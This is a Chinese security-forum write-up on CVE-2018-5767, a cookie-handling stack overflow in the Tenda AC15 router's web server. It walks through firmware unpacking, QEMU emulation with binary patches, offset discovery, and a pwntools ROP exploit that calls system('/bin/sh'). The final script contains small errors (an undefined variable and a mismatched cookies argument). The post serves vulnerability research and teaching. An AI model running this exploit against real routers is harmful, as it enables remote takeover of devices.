首页
社区
课程
招聘
[原创]cve-2018-5767分析
发表于: 2023-5-22 15:11 9688

[原创]cve-2018-5767分析

2023-5-22 15:11
9688

分析

cve-2018-5767位置在bin/httpd中。首先下载该固件,链接如下:

1
https://drivers.softpedia.com/get/Router-Switch-Access-Point/Tenda/Tenda-AC15-Router-Firmware-1503116.shtml#download

下载过后使用binwalk大概判断一下该固件是否进行了加密:

1
2
binwalk -A US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
binwalk -M US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

如果上面的指令可以分析出固件的架构等一些信息,那么这个固件基本就不会是加密的,也可以使用010editor看一下,如果一堆乱码没有可见字符,那么大概率是加密了。使用binwalk直接解包:

1
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

使用file命令和checksec命令检查一下httpd:

 

 

可以看到httpd是一个ARM架构的32位小端序程序,除了NX保护以为其他的所有都没有开。

 

导致cve-2018-5767的函数是httpd中的 R7WebSceurityHandler函数,在R7WebSceurityHandler函数中有一段代码如下:

 

 

可以看到sscanf中的格式字符串是一个类似正则表达式的字符串:

1
2
3
%*[^=]=%[^;];*
%*代表过滤也就是前面的都不要
=%[^;];*这部分表示=号后分号前的内容

也就是说这里就是去password的值,如果没有password的话,就把a1+184处第一个=后面的值赋值给v34,这本身没有什么问题,但是有问题的是没有对这个获取到的字符串进行长度的验证,因为v34只有128字节,通过IDA静态的看R7WebsSecurityHandler的栈,v34这个数组距离栈底也只有448字节,这很容易就溢出了,从而被控制PC寄存器导致被控制执行流。但是想要执行到这一步还需要满足程序的一些条件:

 

 

可以看到有很多条件”

  1. 前8个字节不能是"/public/"、前6个字节不能是"/lang/"、前12字节不能是"/favicon.ico"、前10字节不能是"/kns-query"、前11个字节不能是"/wdinfo.php"、前20字节不能是"/goform/fast_setting"、前11字节不能是"/goform/ate"、前19字节不能是"/goform/InsertWhite"、前15字节不能是"/yun_safe.html"、前27字节不能是"/goform/getWanConnectStatus"、前18字节不能是"/goform/getProduct"、前25字节不能是"/goform/getRebootStatus"
  2. 不能包含"img/main-logo.png"、"reasy-ui-1.0.3.js"、
  3. (_DWORD )(a1 + 152)处必须存在,不能为空
  4. s1的长度不能是1或者第一个字符的十进制形式不能是47也就是"/"
  5. 前15字节不是"/goform/telnet"或者g_Pass存在并且不等于字符串"YWRtaW4="
  6. i <=2或者前15字节不是"/loginerr.html"
  7. 前11个字节不是"/index.html",不进入if语句

满足上面的条件即可进入内部。那么只需要去构造一个满足上面条件的url就可以了,比如""/gorform/exec"

固件模拟

使用qemu把httpd模拟起来,看看其运行起来会输出什么、监听哪些端口等,把qemu的qemu-arm-static复制到squashfs-root目录下,执行以下命令:

1
sudo chroot . ./qemu-arm-static ./bin/httpd

模拟结果如下图;

 

 

好像是卡住了。去IDA中看一下这里是怎么回事,输出完这个字符串后会进入一个循环,如下图:

 

 

从图中可以看出,如果check_network(v18) <= 0成立的话,这里就会是一个死循环,从这个函数的名字来看可能是检查网络的,因为模拟的时候没有给qemu设置网络,所以这个函数如果网络检查不过的话就会返回小于等于0的数让程序无限循环,直到网络检测通过。因此要解决这个循环有两种方法:

  • patch程序,把这个地方的检查改掉。
  • 为qemu设置网络。

这里的汇编代码如下图:

 

 

根据上面的汇编代码有两种改法:

  • 修改check_network函数的返回值,即把MOV R3, R0改掉,把R0改为一个立即数,这个立即数大于0即可。
  • 修改BGT指令,BGT指令是大于跳转,那么把这个指令改为小于跳转(BLE)即可。

这里用第二中方法,edit->Patch program->change byte:

 

 

把前四字节转为ARM指令后:

 

 

可以看出来是根据偏移跳转到了距离0x10出的0x2CFA8的位置,那么把bgt改为ble,然后把16进制码按照小端序的方式替换掉前四字节,然后确定,可以看到BGT指令已经替换为了BLE指令:

 

 

然后edit->Patch program->Apply patches to into file保存patch到文件中,然后替换没有patch的程序,然后再次模拟:

 

 

又报错了,伪代码中使用ConnectCfm函数进行了检查:

 


如果检查不通过则:

 

 

因此这里把他patch掉就好了,跟上面一样,两种方法都可以,这次修改传入R3寄存器的值为立即数1:

 

 

然后把patch保存到程序中,再次仿真模拟:

 

 

已经不再报错了,但是监听的IP错了,Google了一下貌似是得设置成桥接,如下:

1
2
3
4
5
6
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens32
sudo ifconfig br0 up
sudo dhclient br0
chroot ./ ./qemu-arm-static ./bin/httpd

执行完上面的命令后就设置好桥接的网络了,但是如果直接用打过第一个patch的程序是会无限循环的,因为已经设置了网络了不需要那个patch,所以这里的程序是没有打第一个patch但是打了第二个patch的程序。模拟结果:

 

 

可以看到正常监听端口并且监听了正确的IP,访问这个URL:

 

 

可以正常访问,到此httpd程序成功仿真模拟。

漏洞利用

在R7WebSceurityHandler的伪代码中如下:

 

 

上图画线的地方是cookie的位置,因此需要构造cookie字段那种的password,然后下面有检查了是否有gif、png、js等字符,否则就会进入if语句,这里不需要进去,先使用qemu启动起来,使用gdb调试,如下命令:

1
2
3
4
5
6
sudo chroot ./ ./qemu-arm-static -g 9999 ./bin/httpd
gdb-multiarch  -q
set endian little
set architecture arm
target remote 127.0.0.1:9999
c

构造代码,这里:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import requests
 
context.arch = 'arm'
 
payload = str(cyclic(500), 'utf-8') + '.pngbbbb'
url = "http://192.168.153.128:81/goform/exec"
# print(payload)
headers = {'Cookie': "password=" + payload}
 
requests.get(url=url, headers=headers)

运行代码,gdb中的PC寄存器的值如下:

 

 

从图中可以看到PC寄存器的值被改为了0x6561616c,即laae,使用pwntools中的cyclic_find函数查找:

 

 

可见偏移是444字节。确定了偏移,那么现在就可以ROP了,因为libc每次加载时会有一个偏移,在真实环境中这个偏移地址是可以爆破的,得到libc的地址后libc加载的基地址加上libc中函数的地址得到想要执行的函数的地址,然后用到了两个gadget:

1
2
3
4
5
6
ROPgadget --binary ./lib/libc.so.0  --only "mov|blx" | grep "mov r0, sp"
mov r0, sp;
blx r3;
 
ROPgadget --binary ./lib/libc.so.0  --only "pop" | grep "pop {r3, pc}"
pop {r3, pc};

那么现在需要确定libc加载的基地址,使用vmmap命令可以查看libc的基地址,好像调试也可以获取,第一个gadget是将sp放入到r0中,即传入一个参数,然后使用blx调用r3中的函数,第二个gadget为将PC寄存器的地址弹入r3寄存器当中。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
from pwn import *
context.arch = 'arm'
context.log_level = 'debug'
 
libc_base = 0x409af000
libc = ELF('./lib/libc.so.0')
 
system_addr = base + libc.sym['system']
str1 = b"/bin/sh\x00"
mov_r0_addr = libc_base + 0x00040cb8    # mov r0, sp; blx r3;
pop_r3_addr = libc_base  + 0x00018298    # pop {r3, pc};
url = "http://192.168.153.128:81/goform/exec"
payload = b'a' * 444 + b".gif" + p32(pop_r3_addr) + p32(system_addr) + p32(mov_r0_addr) + str1
headers = {"Cookie": b"password=" + payload}
requests.get(url=url, cookies=cookie)

参考

https://xz.aliyun.com/t/7357

 

https://www.freebuf.com/articles/wireless/166869.html


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 15130
活跃值: (16787)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
师傅,建议这篇文章发到智能设备板块
2023-5-24 09:43
1
游客
登录 | 注册 方可回帖
返回
//